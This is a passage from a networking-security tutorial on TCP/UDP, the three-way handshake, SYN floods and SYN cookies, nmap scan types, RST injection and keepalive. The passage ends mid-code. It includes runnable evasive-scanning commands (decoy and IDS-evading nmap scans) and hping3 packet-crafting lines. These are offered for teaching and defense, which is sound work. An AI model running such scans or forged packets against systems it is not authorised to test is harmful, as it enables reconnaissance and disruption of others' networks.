&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; 192.168.1.1               &lt;span class="c"&gt;# UDP scan (slower, requires responses)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; T:80,443,22,U:53,161,123 192.168.1.1  &lt;span class="c"&gt;# Both protocols&lt;/span&gt;

&lt;span class="c"&gt;# See all open TCP/UDP ports on local system&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;                               &lt;span class="c"&gt;# TCP+UDP listening with process names&lt;/span&gt;
ss &lt;span class="nt"&gt;-t&lt;/span&gt; state established                 &lt;span class="c"&gt;# Established TCP connections&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The choice between TCP and UDP is a security decision, not just a performance one. UDP-based services are harder to firewall correctly (stateless), more susceptible to spoofing-based attacks, and are the mechanism behind virtually every large-scale DDoS amplification attack. Every time you see UDP on a port that isn't expected, it deserves investigation.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. TCP Three-Way Handshake — Deep Dive
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 The Mechanics
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLIENT                                         SERVER
  │                                              │
  │  ──── [SYN] seq=ISN_c ──────────────────→   │
  │       Flags: SYN                             │
  │       Seq:   100 (random ISN)               │
  │       Ack:   0 (not yet)                    │
  │       Window: 65535                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ←─── [SYN-ACK] seq=ISN_s, ack=ISN_c+1 ───  │
  │       Flags: SYN, ACK                        │
  │       Seq:   500 (server's random ISN)      │
  │       Ack:   101 (client's ISN + 1)        │
  │       Window: 28960                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ──── [ACK] seq=ISN_c+1, ack=ISN_s+1 ──→   │
  │       Flags: ACK                             │
  │       Seq:   101                            │
  │       Ack:   501 (server's ISN + 1)        │
  │                                              │
  │  ══════════ [CONNECTION ESTABLISHED] ══════  │
  │                                              │
  │  ──── [PSH,ACK] DATA ───────────────────→   │
  │  ←─── [ACK] ──────────────────────────────  │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why three packets, not two?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Two-way handshake (SYN → SYN-ACK) would only confirm that the client can reach the server and that the server can send back. It does not confirm that the server's response can reach the client. The third ACK confirms bidirectional communication.&lt;/p&gt;

&lt;p&gt;More importantly, the three-way handshake establishes &lt;strong&gt;two independent sequence number spaces&lt;/strong&gt; — one for each direction. The client's ISN is acknowledged by the server's ACK, and the server's ISN is acknowledged by the client's final ACK. This is why it requires three messages.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 ISN — Initial Sequence Number Security
&lt;/h3&gt;

&lt;p&gt;The ISN is the single most security-critical field in the TCP handshake. Historically:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-1996 implementations:&lt;/strong&gt;&lt;br&gt;
Many early TCP stacks incremented the global ISN counter by a fixed amount per second. An attacker could:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connect to the target legitimately to observe the current ISN&lt;/li&gt;
&lt;li&gt;Predict the ISN the target would use for the next connection&lt;/li&gt;
&lt;li&gt;Forge a TCP connection by sending SYN with spoofed source IP, then complete the handshake using the predicted ISN&lt;/li&gt;
&lt;li&gt;Inject data into a trust relationship (e.g., impersonate a trusted host)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is exactly what Kevin Mitnick did in his 1994 attack on Tsutomu Shimomura's machines — he exploited predictable ISNs over a Christmas weekend to hijack a TCP session and access Shimomura's files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Modern ISN generation (RFC 6528, 2012):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ISN = M + F(localhost, localport, remotehost, remoteport, secret_key)

M = 4-microsecond timer (prevents wrapping)
F = hash function (typically MD5 or SipHash)
secret_key = random value generated at system boot

Result: ISN appears random for each new connection,
        cannot be predicted without knowing the secret key,
        but can be reproduced for retransmission purposes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Observe ISN randomisation in practice&lt;/span&gt;
&lt;span class="c"&gt;# Connect three times and compare SYN sequence numbers:&lt;/span&gt;

python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import socket, struct

for i in range(3):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('google.com', 80))
    # Get local port assigned by OS
    local_port = s.getsockname()[1]
    print(f"Connection {i+1}: local port {local_port}")
    s.close()
# Each connection uses different source port and different ISN
# Capture with tcpdump -i eth0 'tcp[tcpflags] &amp;amp; tcp-syn != 0' to see ISNs
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Capture SYN packets and extract sequence numbers&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0 and not tcp[tcpflags] &amp;amp; tcp-ack != 0'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-X&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A2&lt;/span&gt; &lt;span class="s2"&gt;"Flags &lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;S&lt;/span&gt;&lt;span class="se"&gt;\]&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 SYN Flood Attack — Exploiting the Handshake State
&lt;/h3&gt;

&lt;p&gt;The three-way handshake requires the server to allocate state after receiving the first SYN — before the handshake is complete. This is the foundation of the SYN flood attack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal handshake state machine on server:
  CLOSED → LISTEN → SYN_RECEIVED → ESTABLISHED

SYN flood:
  Attacker sends thousands of SYN packets per second
  Server allocates entry in connection table for each (SYN_RECEIVED state)
  Server sends SYN-ACK to source IP (often spoofed — no response comes back)
  Connection remains half-open, consuming memory
  After timeout (~75 seconds default), half-open connection is removed
  But attacker sends new SYNs faster than timeouts clear old ones
  Connection table fills → new legitimate connections rejected → DoS

Connection table limits:
  Linux: /proc/sys/net/ipv4/tcp_max_syn_backlog (default: 256-1024)
  Windows: Configurable, typically 200 per port
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SYN Cookies — The Defence:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SYN Cookie algorithm (RFC 4987):
  When under attack (or always, in some implementations):

  1. Server receives SYN
  2. Server does NOT allocate state
  3. Server computes cookie = HMAC(srcIP, srcPort, dstIP, dstPort, secret, timestamp)
  4. Server sends SYN-ACK with cookie as the sequence number
  5. If legitimate client completes handshake, sends ACK with ack_number = cookie + 1
  6. Server verifies cookie in the ACK — valid means legitimate client
  7. Server allocates connection state ONLY for verified connections

Result: Server has zero state for half-open connections
        SYN flood has no effect — no state to exhaust

Tradeoff: TCP options (SACK, timestamps, window scaling) cannot be stored
          in the cookie; lost if SYN cookies are triggered
          Modern implementations encode some options in cookie bits

Check SYN cookie status:
cat /proc/sys/net/ipv4/tcp_syncookies
# 0 = disabled
# 1 = enabled when under attack (default on modern Linux)
# 2 = always enabled

# Monitor SYN flood detection:
watch -n 1 'netstat -s | grep -i "syn"'
# SYNs to LISTEN sockets dropped: counter increases during flood
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 Port Scanning — Abusing the Handshake
&lt;/h3&gt;

&lt;p&gt;Different TCP flag combinations reveal different information about a port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan types and their mechanics:

TCP Connect Scan (-sT):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [ACK] → [RST] → disconnect
  Closed port:  Server → [RST] → Client
  Filtered:     No response (firewall drops)
  Advantage: Works as unprivileged user
  Disadvantage: Noisy — completes full handshake, logged by target

SYN Scan / Half-Open Scan (-sS):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [RST] (never completes)
  Closed port:  Server → [RST]
  Filtered:     No response
  Advantage: Faster, stealthier — many services don't log incomplete handshakes
  Disadvantage: Requires root/admin (raw socket access)
  THIS IS NMAP'S DEFAULT WHEN RUN AS ROOT

FIN Scan (-sF):
  Client → [FIN] → Server
  Open port:    Server → [no response] (RFC 793: ignore unexpected FIN)
  Closed port:  Server → [RST]
  Use: Bypass stateless firewalls that only block SYN packets

XMAS Scan (-sX):
  Client → [FIN, URG, PSH] → Server
  Same response as FIN scan
  Named "XMAS" because all flags lit up like a Christmas tree

NULL Scan (-sN):
  Client → [no flags] → Server
  Same response as FIN scan

ACK Scan (-sA):
  Client → [ACK] → Server
  Used to map FIREWALL RULES, not port states
  Both open and closed ports respond with RST
  Filtered = no response (firewall drops ACK packets)

Window Scan (-sW):
  Sends ACK packets, examines TCP window size in RST response
  Some systems use non-zero window for open ports, zero for closed
  OS-dependent and unreliable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Common Nmap usage for TCP analysis:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 192.168.1.100               &lt;span class="c"&gt;# All 65535 ports, SYN scan&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443,502 192.168.1.100  &lt;span class="c"&gt;# Version detection on specific ports&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; 192.168.1.100                &lt;span class="c"&gt;# OS detection (uses TCP/IP fingerprinting)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--scan-delay&lt;/span&gt; 1s 192.168.1.100   &lt;span class="c"&gt;# Slow scan to evade rate-limit detection&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; RND:10 192.168.1.100         &lt;span class="c"&gt;# Decoy scan (mix real scan with fake source IPs)&lt;/span&gt;

&lt;span class="c"&gt;# Timing templates (T0=paranoid, T5=insane):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.0/24             &lt;span class="c"&gt;# Aggressive timing for LAN scanning&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-T1&lt;/span&gt; &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100              &lt;span class="c"&gt;# Slow, evade IDS timing detection&lt;/span&gt;

&lt;span class="c"&gt;# Capture the SYN scan traffic to understand what it looks like:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'host 192.168.1.100 and tcp'&lt;/span&gt; &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Observe: rapid SYN packets, RST responses for closed, SYN-ACK for open&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The TCP three-way handshake is simultaneously the mechanism that makes TCP reliable AND the mechanism that makes SYN flood attacks possible. SYN cookies elegantly resolve this tension by deferring state allocation until connection completion. Understanding exactly what state is allocated where and when is the foundation of both DoS attacks and their mitigations.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. TCP Four-Way Termination
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Graceful Connection Close
&lt;/h3&gt;

&lt;p&gt;TCP connections are full-duplex — data can flow in both directions simultaneously. Closing a TCP connection requires closing each direction independently, which is why it requires four messages instead of three:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLIENT                                         SERVER
  │                                              │
  │  ──── [FIN, ACK] seq=x ─────────────────→   │  Client: "Done sending"
  │                                              │
  │  ←─── [ACK] ack=x+1 ──────────────────────  │  Server: "Got your FIN"
  │                                              │  [Server may still be sending data]
  │                                              │
  │  ←─── [FIN, ACK] seq=y ───────────────────  │  Server: "Done sending too"
  │                                              │
  │  ──── [ACK] ack=y+1 ────────────────────→   │  Client: "Got your FIN"
  │                                              │
  │  [TIME_WAIT: 2×MSL seconds]                 │  [CLOSED]
  │  [CLOSED after TIME_WAIT]                   │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;TIME_WAIT state:&lt;/strong&gt;&lt;br&gt;
After sending the final ACK, the client enters TIME_WAIT for 2×MSL (Maximum Segment Lifetime, typically 60-120 seconds). This ensures:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The final ACK reached the server (if it was lost, server resends FIN and client can re-ACK)&lt;/li&gt;
&lt;li&gt;Old duplicate packets from the connection cannot confuse a new connection using the same 4-tuple&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Security implication of TIME_WAIT:&lt;/strong&gt;&lt;br&gt;
TIME_WAIT exhaustion is a DoS attack vector. By rapidly opening and closing connections, an attacker can fill the source port space (65535 ephemeral ports) with TIME_WAIT sockets, preventing new outbound connections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Count connections by state&lt;/span&gt;
ss &lt;span class="nt"&gt;-tan&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;span class="c"&gt;# or:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-tan&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $6}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;

&lt;span class="c"&gt;# States you'll see:&lt;/span&gt;
&lt;span class="c"&gt;# ESTABLISHED: Active connections&lt;/span&gt;
&lt;span class="c"&gt;# TIME_WAIT:   Waiting for network stragglers after close&lt;/span&gt;
&lt;span class="c"&gt;# CLOSE_WAIT:  Remote end sent FIN, waiting for local application to close&lt;/span&gt;
&lt;span class="c"&gt;# SYN_SENT:    Sent SYN, waiting for SYN-ACK&lt;/span&gt;
&lt;span class="c"&gt;# SYN_RECEIVED: Got SYN, sent SYN-ACK, waiting for ACK&lt;/span&gt;
&lt;span class="c"&gt;# LISTEN:      Waiting for incoming connections&lt;/span&gt;
&lt;span class="c"&gt;# FIN_WAIT_1:  Sent FIN, waiting for ACK&lt;/span&gt;
&lt;span class="c"&gt;# FIN_WAIT_2:  Got ACK for FIN, waiting for remote FIN&lt;/span&gt;
&lt;span class="c"&gt;# LAST_ACK:    Sent FIN after CLOSE_WAIT, waiting for ACK&lt;/span&gt;
&lt;span class="c"&gt;# CLOSING:     Both sides sent FIN simultaneously&lt;/span&gt;

&lt;span class="c"&gt;# If you see thousands of TIME_WAIT: normal for busy web servers&lt;/span&gt;
&lt;span class="c"&gt;# If you see growing SYN_RECEIVED: possible SYN flood&lt;/span&gt;
&lt;span class="c"&gt;# If you see growing CLOSE_WAIT: application not closing sockets properly (bug)&lt;/span&gt;
&lt;span class="c"&gt;# If you see unusual ESTABLISHED connections: potential backdoors&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 RST — Abrupt Connection Reset
&lt;/h3&gt;

&lt;p&gt;RST (Reset) immediately terminates a connection without the four-way handshake. The receiving side discards any unacknowledged data and removes connection state immediately.&lt;/p&gt;

&lt;p&gt;RST is sent by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A port that has no listening service (response to SYN on closed port)&lt;/li&gt;
&lt;li&gt;A system receiving a packet for a non-existent connection&lt;/li&gt;
&lt;li&gt;A system that wants to abort a connection immediately&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;RST injection attack:&lt;/strong&gt;&lt;br&gt;
An attacker who knows the current sequence number of an established TCP connection can forge a RST packet that terminates the connection. Sequence number guessing was historically easy on predictable ISN implementations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RST injection use cases:
1. Network censorship: "Great Firewall of China" injects TCP RST packets
   to terminate connections to blocked content
   Tools: nmap can detect RST injection by comparing responses from different
   vantage points — discrepancies indicate path-level RST injection

2. Intrusion Prevention: IPS devices inject RST to both ends of a connection
   to terminate detected attack traffic

3. Offensive: Terminate an ongoing session between two victims (DoS)

4. Testing: Verify firewall blocks — does a blocked connection receive RST
   (firewall rejects) or nothing (firewall drops silently)?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# hping3 — craft specific TCP packets&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-S&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 &lt;span class="nt"&gt;-c&lt;/span&gt; 3 192.168.1.1           &lt;span class="c"&gt;# Send 3 SYN to port 80&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1                &lt;span class="c"&gt;# Send RST to port 80&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1                &lt;span class="c"&gt;# Send ACK (firewall mapping)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1                &lt;span class="c"&gt;# Send FIN (FIN scan)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-SA&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1               &lt;span class="c"&gt;# SYN+ACK (unusual)&lt;/span&gt;

&lt;span class="c"&gt;# Detect RST injection in Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Filter: tcp.flags.reset == 1&lt;/span&gt;
&lt;span class="c"&gt;# Compare RST TTLs with expected TTL from destination&lt;/span&gt;
&lt;span class="c"&gt;# If RST TTL differs significantly from normal responses, RST was injected&lt;/span&gt;
&lt;span class="c"&gt;# by an intermediate device (firewall, IPS, censor)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. TCP Internals — What Textbooks Skip
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 TCP Flow Control — The Sliding Window
&lt;/h3&gt;

&lt;p&gt;Flow control prevents a fast sender from overwhelming a slow receiver. The receiver advertises how much buffer space it has (the window size), and the sender limits outstanding unacknowledged data to this window.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Window size = how many bytes receiver can accept without ACK

Sender                          Receiver (window = 4 bytes)
  │                               │ [Buffer: _ _ _ _] (4 empty slots)
  │──── Bytes 1-4 ──────────────→ │ [Buffer: 1 2 3 4] (full)
  │                               │
  │ ←── ACK 5, Window=4 ────────  │ [Buffer: _ _ _ _] (processed, empty)
  │──── Bytes 5-8 ──────────────→ │
  ...

Window scaling (RFC 7323):
  16-bit window field max: 65,535 bytes
  Over fast WAN links, this limits throughput
  Window Scale option multiplies window size by 2^shift_count
  Maximum effective window: 65535 × 2^14 = ~1 GB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security implication:&lt;/strong&gt;&lt;br&gt;
Zero Window Attack: An attacker who can manipulate the receiver into advertising a zero window keeps the sender blocked indefinitely. The sender enters "persist" state, sending small "window probe" packets waiting for the window to open. This can cause connection-level DoS without flooding.&lt;/p&gt;
&lt;h3&gt;
  
  
  6.2 TCP Congestion Control
&lt;/h3&gt;

&lt;p&gt;TCP automatically adapts to network congestion through four algorithms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Slow Start:
  Start with small congestion window (cwnd = 1 MSS)
  Double cwnd each RTT until threshold (ssthresh)
  "Exponential growth"

Congestion Avoidance:
  After ssthresh, increase cwnd by 1 MSS per RTT
  "Linear growth"

Fast Retransmit:
  3 duplicate ACKs = probable packet loss (not timeout)
  Retransmit immediately without waiting for timeout

Fast Recovery:
  After fast retransmit, halve ssthresh and cwnd
  Resume congestion avoidance (not slow start)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security relevance:&lt;/strong&gt; TCP congestion control can be exploited:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ACK throttling:&lt;/strong&gt; Send ACKs slowly to the sender, reducing its throughput&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Spurious retransmissions:&lt;/strong&gt; Cause the sender to believe packets were lost, triggering congestion response&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delayed ACK manipulation:&lt;/strong&gt; Exploit TCP's delayed ACK optimisation to affect throughput&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.3 TCP Keepalive
&lt;/h3&gt;

&lt;p&gt;TCP keepalive probes are periodic empty ACK packets sent on idle connections to verify the other end is still alive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux TCP keepalive settings:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/tcp_keepalive_time      &lt;span class="c"&gt;# 7200 (seconds before first probe)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/tcp_keepalive_intvl     &lt;span class="c"&gt;# 75 (seconds between probes)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/tcp_keepalive_probes    &lt;span class="c"&gt;# 9 (number of probes before giving up)&lt;/span&gt;

&lt;span class="c"&gt;# Default: 7200s (2 hours!) before first probe&lt;/span&gt;
&lt;span class="c"&gt;# A dead connection consumes state for 2+ hours by default&lt;/span&gt;
&lt;span class="c"&gt;# Adjust for security-sensitive applications:&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.tcp_keepalive_time&lt;span class="o"&gt;=&lt;/span&gt;60     &lt;span class="c"&gt;# 60 seconds&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.tcp_keepalive_intvl&lt;span class="o"&gt;=&lt;/span&gt;10    &lt;span class="c"&gt;# 10 second intervals&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.tcp_keepalive_probes&lt;span class="o"&gt;=&lt;/span&gt;3    &lt;span class="c"&gt;# 3 probes then give up&lt;/span&gt;

&lt;span class="c"&gt;# Security implication:&lt;/span&gt;
&lt;span class="c"&gt;# Long keepalive intervals allow stealthy C2 connections to persist&lt;/span&gt;
&lt;span class="c"&gt;# for hours between communications without the connection timing out&lt;/span&gt;
&lt;span class="c"&gt;# This is why some C2 frameworks use long TCP idle periods&lt;/span&gt;
&lt;span class="c"&gt;# Detection: connections with high idle time and periodic tiny packets&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. IPv4 Addressing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Structure
&lt;/h3&gt;

&lt;p&gt;IPv4 addresses are 32-bit binary numbers, written as four decimal octets separated by dots.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192  .  168  .   1   .  100
─────    ─────    ─────    ─────
11000000 10101000 00000001 01100100

Binary representation:
11000000.10101000.00000001.01100100

Decimal: 192.168.1.100
Hex:     C0.A8.01.64  or  0xC0A80164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Converting between representations:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python — IP address conversions
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# String to integer
&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Integer: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# 3232235876
&lt;/span&gt;
&lt;span class="c1"&gt;# String to bytes
